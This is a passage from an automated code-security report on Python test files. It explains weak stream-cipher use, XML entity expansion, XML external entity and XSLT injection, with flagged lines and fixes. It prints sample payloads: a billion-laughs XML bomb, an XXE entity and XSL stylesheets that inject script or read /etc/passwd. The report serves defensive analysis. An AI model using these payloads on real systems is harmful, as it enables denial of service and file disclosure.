[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management
[10] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[11] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[13] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[14] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.8.3 Single or Multi Factor One Time Verifier Requirements, 6.2.1 Algorithms, 6.2.3 Algorithms, 6.2.4 Algorithms, 6.2.5 Algorithms, 6.2.6 Algorithms, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.6.1, Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.6.1, Requirement 6.3.1.3, Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.6.1, Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.6.1, Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.6.1, Requirement 6.5.3
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.6.1, Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.6.1, Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II

[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II

Weak Encryption: Stream Cipher

Description

Stream ciphers are dangerous to use when encrypted data is going to be stored on disk, or if the key is used more than once.

Explanation

Stream ciphers are vulnerable to "key re-use" attacks, also called "two-time pad" attacks. This means that if the same key is used more than once, it is trivial to XOR the two strings of ciphertext and nullify the key, leaving only the XOR'ed plain text. Due to the way human language is formatted, it is usually trivial to get back to the original two messages.

As there is a requirement of using a fresh initialization vector (IV) in order to stop the aforementioned attacks, it means that stream ciphers are not suitable for storing encrypted data, as it would mean either:

1) using the disk sector as the IV: This is insecure as it would require re-using the same IV every time the stored data needs to be modified.

2) have a complicated system that maps fresh IVs to disk sectors: This would be difficult to maintain, since it would require being continuously updated, would need to not be user-readable, and it would require the ciphertext to consume much more disk space than the unencrypted plain text alone.

These two points make it disadvantageous to use stream ciphers instead of block ciphers for the purpose of storing encrypted data. Another problem with stream ciphers is that they provide no authentication and thus are vulnerable to "bit-flipping" attacks. Some block ciphers such as "CTR" are vulnerable to these same attacks since they act similarly to stream ciphers.

Example 1: The following piece of code creates a stream cipher which is then used to encrypt data with a constant IV and store it on disk:

```
from Crypto.Cipher import AES
from Crypto import Random
...
key = Random.new().read(AES.block_size)
iv = b'1234567890123456'
cipher = AES.new(key, AES.MODE_CTR, iv, counter)
...
encrypted = cipher.encrypt(data)
f = open("data.enc", "wb")
f.write(encrypted)
f.close()
...
```

In Example 1, since iv is set as a constant initialization vector, this will be susceptible to re-use attacks.

Severity

High

Vulnerabilities

File tests\Weak_Encryption.py, Line 15, Pos 23

```
15 cipher = DES.new(key, DES.MODE_CTR, counter=ctr)
```

File tests\Weak_Encryption__Stream_Cipher.py, Line 3, Pos 23

```
3 cipher = AES.new(key, AES.MODE_CTR, iv, counter)
```

File tests\Weak_Encryption__Stream_Cipher.py, Line 5, Pos 24

```
5 cipher = DES3.new(key, DES3.MODE_CTR, random_iv)
```

File tests\Weak_Encryption__Stream_Cipher.py, Line 7, Pos 24

```
7 cipher = ARC2.new(key, ARC2.MODE_CTR, random_iv)
```

File tests\Weak_Encryption__Stream_Cipher.py, Line 9, Pos 23

```
9 cipher = DES.new(key, DES.MODE_CTR, random_iv)
```

File tests\Weak_Encryption__Stream_Cipher.py, Line 11, Pos 28

```
11 cipher = Blowfish.new(key, Blowfish.MODE_CTR, random_iv)
```

File tests\Weak_Encryption__Stream_Cipher.py, Line 13, Pos 24

```
13 cipher = CAST.new(key, CAST.MODE_CTR, random_iv)
```

Recommendations

- Do not use stream ciphers for the purpose of storing encrypted data

Links

[1] Disk Encryption Theory Wikipedia
(http://en.wikipedia.org/wiki/Disk_encryption_theory#Problem_definition)
[2] Clemens Fruhwirth New Methods in Hard Disk Encryption
(http://clemens.endorphin.org/nmihde/nmihde-A4-os.pdf)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 327
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[5] Standards Mapping - FIPS200 MP
[6] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection

[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-13 Cryptographic Protection
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.9.3 Cryptographic Software and Devices Verifier Requirements, 6.2.1 Algorithms, 6.2.2 Algorithms, 8.3.7 Sensitive Private Data, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.1 - Use of Cryptography
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.1 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[25] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 327
[26] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 327
[27] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 327
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II

[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II

XML Entity Expansion Injection

Description

Using XML parsers configured to not prevent nor limit Document Type Definition (DTD) entity resolution can expose the parser to an XML Entity Expansion injection

Explanation

XML Entity Expansion injection also known as XML Bombs are DoS attacks that benefit from valid and well-formed XML blocks that expand exponentially until they exhaust the server allocated resources. XML allows to define custom entities which act as string substitution macros. By nesting recurrent entity resolutions, an attacker may easily crash the server resources.

The following XML document shows an example of an XML Bomb.

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
```

```
<lolz>&lol9;</lolz>
```

This test could crash the server by expanding the small XML document into more than 3GB in memory.

Severity

Medium

Vulnerabilities

File tests\XML_Entity_Expansion_Injection.py, Line 3, Pos 8
```
3 tree = ET.parse('country_data.xml')
```
File tests\XML_Entity_Expansion_Injection.py, Line 4, Pos 8
```
4 root = ET.fromstring(country_data_as_string)
```
File tests\XML_Entity_Expansion_Injection.py, Line 5, Pos 10
```
5 result = ET.iterparse(source)
```
File tests\XML_Entity_Expansion_Injection.py, Line 6, Pos 10
```
6 result = ET.XML(source)
```
File tests\XML_Entity_Expansion_Injection.py, Line 7, Pos 10
```
7 result = ET.XMLID(source)
```
File tests\XML_Entity_Expansion_Injection.py, Line 11, Pos 10
```
11 result = minidom.parse(filename_or_file)
```
File tests\XML_Entity_Expansion_Injection.py, Line 12, Pos 10
```
12 result = minidom.parseString(string)
```
File tests\XML_Entity_Expansion_Injection.py, Line 16, Pos 7
```
16 doc = pulldom.parse('sales_items.xml')
```
File tests\XML_Entity_Expansion_Injection.py, Line 17, Pos 7
```
17 doc = pulldom.parseString(string)
```
File tests\XML_Entity_Expansion_Injection.py, Line 21, Pos 10
```
21 result = xml.sax.make_parser()
```
File tests\XML_Entity_Expansion_Injection.py, Line 22, Pos 10
```
22 result = xml.sax.parse(filename_or_stream, handler)
```
File tests\XML_Entity_Expansion_Injection.py, Line 23, Pos 10
```
23 result = xml.sax.parseString(string, handler)
```
File tests\XML_Entity_Expansion_Injection.py, Line 26, Pos 5
```
26 p = ParserCreate()
```
File tests\XML_External_Entity_Injection.py, Line 3, Pos 7
```
3 doc = pulldom.parse('sales_items.xml')
```
File tests\XML_External_Entity_Injection.py, Line 4, Pos 7
```
4 doc = pulldom.parseString(string)
```
File tests\XML_External_Entity_Injection.py, Line 8, Pos 10
```
8 result = xml.sax.make_parser()
```
File tests\XML_External_Entity_Injection.py, Line 9, Pos 10
```
9 result = xml.sax.parse(filename_or_stream, handler)
```
File tests\XML_External_Entity_Injection.py, Line 10, Pos 10
```
10 result = xml.sax.parseString(string, handler)
```

Recommendations

- If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.

- Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.
- Use defusedxml module

Links

[1] XML vulnerabilities (https://docs.python.org/2/library/xml.html)
[2] Announcing defusedxml, Fixes for XML Security Issues (http://blog.python.org/2013/02/announcing-defusedxml-fixes-for-xml.html)
[3] defusedxml (https://pypi.python.org/pypi/defusedxml)
[4] defusedexpat (https://pypi.python.org/pypi/defusedexpat)
[5] XML External Entity (XXE) Processing OWASP (https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)
[6] Testing for XML Injection OWASP (https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection)
[7] XML External Entities The Web Application Security Consortium (http://projects.webappsec.org/w/page/13247003/XML%20External%20Entities)
[8] Standards Mapping - Common Weakness Enumeration CWE ID 776
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310, CCI-002385
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2010 A1 Injection
[15] Standards Mapping - OWASP Top 10 2013 A1 Injection
[16] Standards Mapping - OWASP Top 10 2017 A4 XML External Entities (XXE)
[17] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.2 File Upload Requirements
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection

[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[46] Standards Mapping - Web Application Security Consortium Version 2.00 XML Entity Expansion (WASC-44)

XML External Entity Injection

Description

Using XML processors that do not prevent or limit external entities resolution can expose the application to XML External Entities attacks.

Explanation

XML External Entities attacks benefit from an XML feature to dynamically build documents at runtime. An XML entity allows inclusion of data dynamically from a given resource. External entities allow an XML document to include data from an external URI. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, such as a file on the local machine or on a remote system. This behavior exposes the application to XML External Entity (XXE) attacks, which attackers can use to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems.

Example 1: The following XML document shows an example of an XXE attack.

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
```

This example could crash the server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.

Severity

High

Vulnerabilities

File tests\XML_Entity_Expansion_Injection.py, Line 16, Pos 7
```
16 doc = pulldom.parse('sales_items.xml')
```
File tests\XML_Entity_Expansion_Injection.py, Line 17, Pos 7
```
17 doc = pulldom.parseString(string)
```
File tests\XML_Entity_Expansion_Injection.py, Line 21, Pos 10
```
21 result = xml.sax.make_parser()
```
File tests\XML_Entity_Expansion_Injection.py, Line 22, Pos 10
```
22 result = xml.sax.parse(filename_or_stream, handler)
```
File tests\XML_Entity_Expansion_Injection.py, Line 23, Pos 10
```
23 result = xml.sax.parseString(string, handler)
```
File tests\XML_External_Entity_Injection.py, Line 3, Pos 7
```
3 doc = pulldom.parse('sales_items.xml')
```
File tests\XML_External_Entity_Injection.py, Line 4, Pos 7
```
4 doc = pulldom.parseString(string)
```
File tests\XML_External_Entity_Injection.py, Line 8, Pos 10
```
8 result = xml.sax.make_parser()
```
File tests\XML_External_Entity_Injection.py, Line 9, Pos 10
```
9 result = xml.sax.parse(filename_or_stream, handler)
```
File tests\XML_External_Entity_Injection.py, Line 10, Pos 10
```
10 result = xml.sax.parseString(string, handler)
```

Recommendations

- If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.
- Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.

- Use defusedxml module

Links

[1] XML vulnerabilities (https://docs.python.org/2/library/xml.html)
[2] Announcing defusedxml, Fixes for XML Security Issues
(http://blog.python.org/2013/02/announcing-defusedxml-fixes-for-xml.html)
[3] defusedxml (https://pypi.python.org/pypi/defusedxml)
[4] defusedexpat (https://pypi.python.org/pypi/defusedexpat)
[5] XML External Entity (XXE) Processing OWASP
(https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)
[6] Testing for XML Injection (OWASP-DV-008) OWASP
(https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008))
[7] XML External Entities The Web Application Security Consortium
(http://projects.webappsec.org/w/page/13247003/XML%20External%20Entities)
[8] Standards Mapping - Common Weakness Enumeration CWE ID 611
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [17] CWE ID 611
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [19] CWE ID 611
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310, CCI-002385, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[15] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[20] Standards Mapping - OWASP Top 10 2010 A1 Injection
[21] Standards Mapping - OWASP Top 10 2013 A1 Injection
[22] Standards Mapping - OWASP Top 10 2017 A4 XML External Entities (XXE)
[23] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[24] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.5.2 Deserialization Prevention Requirements
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1

[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3810 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3810 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3810 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3810 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3810 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3810 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I

[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Web Application Security Consortium Version 2.00 XML External Entities (WASC-43)

XSLT Injection

Description

Processing an unvalidated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code.

Explanation

XSLT injection occurs when:

1. Data enters a program from an untrusted source.

2. The data is written to an XSL stylesheet.

Applications typically use XSL stylesheet to transform XML documents from one format to another. XSL stylesheets include special functions which enhance the transformation process but introduce additional vulnerabilities if used incorrectly.

The semantics of XSL stylesheets and processing can be altered if an attacker has the ability to write XSL elements in a stylesheet. An attacker could alter the output of a stylesheet such that an XSS (cross-site scripting) attack was enabled, expose the contents of local file system resources, or execute arbitrary code.

Example 1: Here is some code that is vulnerable to XSLT Injection:

```
...
xml = StringIO.StringIO(request.POST['xml'])
xslt = StringIO.StringIO(request.POST['xslt'])
...
xslt_root = etree.XML(xslt)
transform = etree.XSLT(xslt_root)
result_tree = transform(xml)
return render_to_response(template_name, {'result': etree.tostring(result_tree)}
)
...
```

The code in Example 1 results in three different exploits when the attacker passes the identified XSL to the XSLT processor:

1. XSS:

```
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
```

```
    </xsl:stylesheet>
```

When the XSL stylesheet is processed, the <script> tag is rendered to the victim's browser allowing a cross-site scripting attack to be performed.

2. Reading of arbitrary files on the server's file system:

```
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
    </xsl:template>
    </xsl:stylesheet>
```

The preceding XSL stylesheet will return the contents of the /etc/passwd file.

Severity

High

Vulnerabilities

File tests\XSLT_Injection.py, Line 7, Pos 13

```
7 transform = etree.XSLT(xslt_root)
```

Recommendations

- Specify "access_control" argument for lxml.etree.XSLT call

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 494
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
